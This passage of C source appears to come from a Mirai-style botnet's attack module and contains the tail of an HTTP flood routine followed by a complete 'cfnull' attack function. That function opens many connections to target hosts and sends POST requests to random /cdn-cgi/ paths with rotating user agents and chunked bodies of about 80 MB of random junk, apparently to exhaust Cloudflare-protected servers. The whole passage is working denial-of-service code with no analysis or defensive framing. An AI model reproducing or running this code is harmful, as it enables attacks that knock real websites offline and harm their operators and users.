} else if (conn->state == HTTP_CONN_QUEUE_RESTART) {
|
|
while(TRUE)
|
|
{
|
|
errno = 0;
|
|
ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL);
|
|
if (ret == 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\n", conn->fd);
|
|
#endif
|
|
errno = ECONNRESET;
|
|
ret = -1; // Fall through to closing connection below
|
|
}
|
|
if (ret == -1)
|
|
{
|
|
if (errno != EAGAIN && errno != EWOULDBLOCK)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\n", conn->fd);
|
|
#endif
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
conn->state = HTTP_CONN_INIT;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
if (conn->state != HTTP_CONN_INIT)
|
|
conn->state = HTTP_CONN_RESTART;
|
|
}
|
|
}
|
|
}
|
|
|
|
// handle any sockets that didnt return from select here
|
|
// also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
|
|
#ifdef DEBUG
|
|
if (sockets == 1)
|
|
{
|
|
printf("debug mode sleep\n");
|
|
sleep(1);
|
|
}
|
|
#endif
|
|
}
|
|
}
|
|
|
|
void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
|
{
|
|
int i, ii, rfd, ret = 0;
|
|
struct attack_cfnull_state *http_table = NULL;
|
|
char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
|
|
int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
|
|
|
|
char generic_memes[10241] = {0};
|
|
|
|
if (domain == NULL)
|
|
return;
|
|
|
|
if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
|
|
return;
|
|
|
|
if (sockets > HTTP_CONNECTION_MAX)
|
|
sockets = HTTP_CONNECTION_MAX;
|
|
|
|
http_table = calloc(sockets, sizeof(struct attack_cfnull_state));
|
|
|
|
for (i = 0; i < sockets; i++)
|
|
{
|
|
http_table[i].state = HTTP_CONN_INIT;
|
|
http_table[i].fd = -1;
|
|
http_table[i].dst_addr = targs[i % targs_len].addr;
|
|
|
|
util_strcpy(http_table[i].domain, domain);
|
|
|
|
if (targs[i % targs_len].netmask < 32)
|
|
http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));
|
|
|
|
switch(rand_next() % 5)
|
|
{
|
|
case 0:
|
|
table_unlock_val(TABLE_HTTP_ONE);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
|
|
table_lock_val(TABLE_HTTP_ONE);
|
|
break;
|
|
case 1:
|
|
table_unlock_val(TABLE_HTTP_TWO);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
|
|
table_lock_val(TABLE_HTTP_TWO);
|
|
break;
|
|
case 2:
|
|
table_unlock_val(TABLE_HTTP_THREE);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
|
|
table_lock_val(TABLE_HTTP_THREE);
|
|
break;
|
|
case 3:
|
|
table_unlock_val(TABLE_HTTP_FOUR);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
|
|
table_lock_val(TABLE_HTTP_FOUR);
|
|
break;
|
|
case 4:
|
|
table_unlock_val(TABLE_HTTP_FIVE);
|
|
util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
|
|
table_lock_val(TABLE_HTTP_FIVE);
|
|
break;
|
|
}
|
|
}
|
|
|
|
while(TRUE)
|
|
{
|
|
fd_set fdset_rd, fdset_wr;
|
|
int mfd = 0, nfds;
|
|
struct timeval tim;
|
|
struct attack_cfnull_state *conn;
|
|
uint32_t fake_time = time(NULL);
|
|
|
|
FD_ZERO(&fdset_rd);
|
|
FD_ZERO(&fdset_wr);
|
|
|
|
for (i = 0; i < sockets; i++)
|
|
{
|
|
conn = &(http_table[i]);
|
|
|
|
if (conn->state == HTTP_CONN_RESTART)
|
|
{
|
|
conn->state = HTTP_CONN_INIT;
|
|
}
|
|
|
|
if (conn->state == HTTP_CONN_INIT)
|
|
{
|
|
struct sockaddr_in addr = {0};
|
|
|
|
if (conn->fd != -1)
|
|
close(conn->fd);
|
|
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
|
continue;
|
|
|
|
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
|
|
|
|
ii = 65535;
|
|
setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));
|
|
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_addr.s_addr = conn->dst_addr;
|
|
addr.sin_port = htons(80);
|
|
|
|
conn->last_recv = fake_time;
|
|
conn->state = HTTP_CONN_CONNECTING;
|
|
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
|
#ifdef DEBUG
|
|
printf("[http flood] fd%d started connect\n", conn->fd);
|
|
#endif
|
|
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_CONNECTING)
|
|
{
|
|
if (fake_time - conn->last_recv > 30)
|
|
{
|
|
conn->state = HTTP_CONN_INIT;
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
continue;
|
|
}
|
|
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_SEND_HEADERS)
|
|
{
|
|
#ifdef DEBUG
|
|
//printf("[http flood] Sending http request\n");
|
|
#endif
|
|
|
|
char buf[10240];
|
|
util_zero(buf, 10240);
|
|
|
|
//util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/l/chk_captcha HTTP/1.1\r\nUser-Agent: ");
|
|
util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/");
|
|
rand_alphastr(buf + util_strlen(buf), 16);
|
|
util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
|
|
util_strcpy(buf + util_strlen(buf), conn->user_agent);
|
|
util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
|
|
util_strcpy(buf + util_strlen(buf), conn->domain);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_KEEP_ALIVE);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
|
|
table_lock_val(TABLE_ATK_KEEP_ALIVE);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_ACCEPT);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
|
|
table_lock_val(TABLE_ATK_ACCEPT);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_ACCEPT_LNG);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
|
|
table_lock_val(TABLE_ATK_ACCEPT_LNG);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_CONTENT_TYPE);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
|
|
table_lock_val(TABLE_ATK_CONTENT_TYPE);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));
|
|
table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
|
|
util_strcpy(buf + util_strlen(buf), " ");
|
|
table_unlock_val(TABLE_ATK_CHUNKED);
|
|
util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL));
|
|
table_lock_val(TABLE_ATK_CHUNKED);
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
util_strcpy(buf + util_strlen(buf), "\r\n");
|
|
|
|
conn->to_send = (80 * 1024 * 1024);
|
|
|
|
#ifdef DEBUG
|
|
if (sockets == 1)
|
|
{
|
|
printf("sending buf: \"%s\"\n", buf);
|
|
}
|
|
#endif
|
|
|
|
send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
|
|
conn->last_send = fake_time;
|
|
|
|
conn->state = HTTP_CONN_SEND_JUNK;
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
FD_SET(conn->fd, &fdset_rd);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_SEND_JUNK)
|
|
{
|
|
int sent = 0;
|
|
char rndbuf[1025] = {0};
|
|
util_zero(rndbuf, 1025);
|
|
rand_alphastr(rndbuf, 1024);
|
|
|
|
if (conn->to_send <= 0)
|
|
{
|
|
send(conn->fd, "0\r\n", 3, MSG_NOSIGNAL);
|
|
} else {
|
|
// EZZZZZZZZZ HACKS
|
|
if (conn->to_send < 1024)
|
|
rndbuf[conn->to_send] = 0;
|
|
|
|
if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0))
|
|
{
|
|
char szbuf[4] = {0};
|
|
util_zero(szbuf, 4);
|
|
util_itoa(1024, 16, szbuf);
|
|
send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL);
|
|
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
|
}
|
|
|
|
if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1)
|
|
{
|
|
conn->state = HTTP_CONN_RESTART;
|
|
continue;
|
|
}
|
|
|
|
// if our local send buffer is full, slow down. no need to rush (^:
|
|
if (sent != util_strlen(rndbuf))
|
|
{
|
|
conn->state = HTTP_CONN_SNDBUF_WAIT;
|
|
}
|
|
|
|
conn->to_send -= sent;
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
}
|
|
|
|
conn->last_send = fake_time;
|
|
FD_SET(conn->fd, &fdset_rd);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
|
|
{
|
|
FD_SET(conn->fd, &fdset_wr);
|
|
if (conn->fd > mfd)
|
|
mfd = conn->fd + 1;
|
|
}
|
|
else
|
|
{
|
|
// NEW STATE WHO DIS
|
|
conn->state = HTTP_CONN_INIT;
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
}
|
|
}
|
|
|
|
if (mfd == 0)
|
|
continue;
|
|
|
|
tim.tv_usec = 0;
|
|
tim.tv_sec = 1;
|
|
nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
|
|
fake_time = time(NULL);
|
|
|
|
if (nfds < 1)
|
|
continue;
|
|
|
|
for (i = 0; i < sockets; i++)
|
|
{
|
|
conn = &(http_table[i]);
|
|
|
|
if (conn->fd == -1)
|
|
continue;
|
|
|
|
if (FD_ISSET(conn->fd, &fdset_wr))
|
|
{
|
|
if (conn->state == HTTP_CONN_CONNECTING)
|
|
{
|
|
int err = 0;
|
|
socklen_t err_len = sizeof (err);
|
|
|
|
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
|
|
if (err == 0 && ret == 0)
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] FD%d connected.\n", conn->fd);
|
|
#endif
|
|
conn->state = HTTP_CONN_SEND;
|
|
}
|
|
else
|
|
{
|
|
#ifdef DEBUG
|
|
printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
|
|
#endif
|
|
close(conn->fd);
|
|
conn->fd = -1;
|
|
conn->state = HTTP_CONN_INIT;
|
|
continue;
|
|
}
|
|
}
|
|
else if (conn->state == HTTP_CONN_SNDBUF_WAIT)
|
|
{
|
|
conn->state = HTTP_CONN_SEND_JUNK;
|
|
}
|
|
}
|
|
|
|
if (FD_ISSET(conn->fd, &fdset_rd))
|
|
{
|
|
// if we get any sort of headers or error code then punt it.
|
|
// we really dont care about any content we get
|
|
conn->state = HTTP_CONN_RESTART;
|
|
}
|
|
}
|
|
|
|
// handle any sockets that didnt return from select here
|
|
// also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen)
|
|
#ifdef DEBUG
|
|
if (sockets == 1)
|
|
{
|
|
printf("debug mode sleep\n");
|
|
sleep(1);
|
|
}
|
|
#endif
|
|
}
|
|
}
|
|
|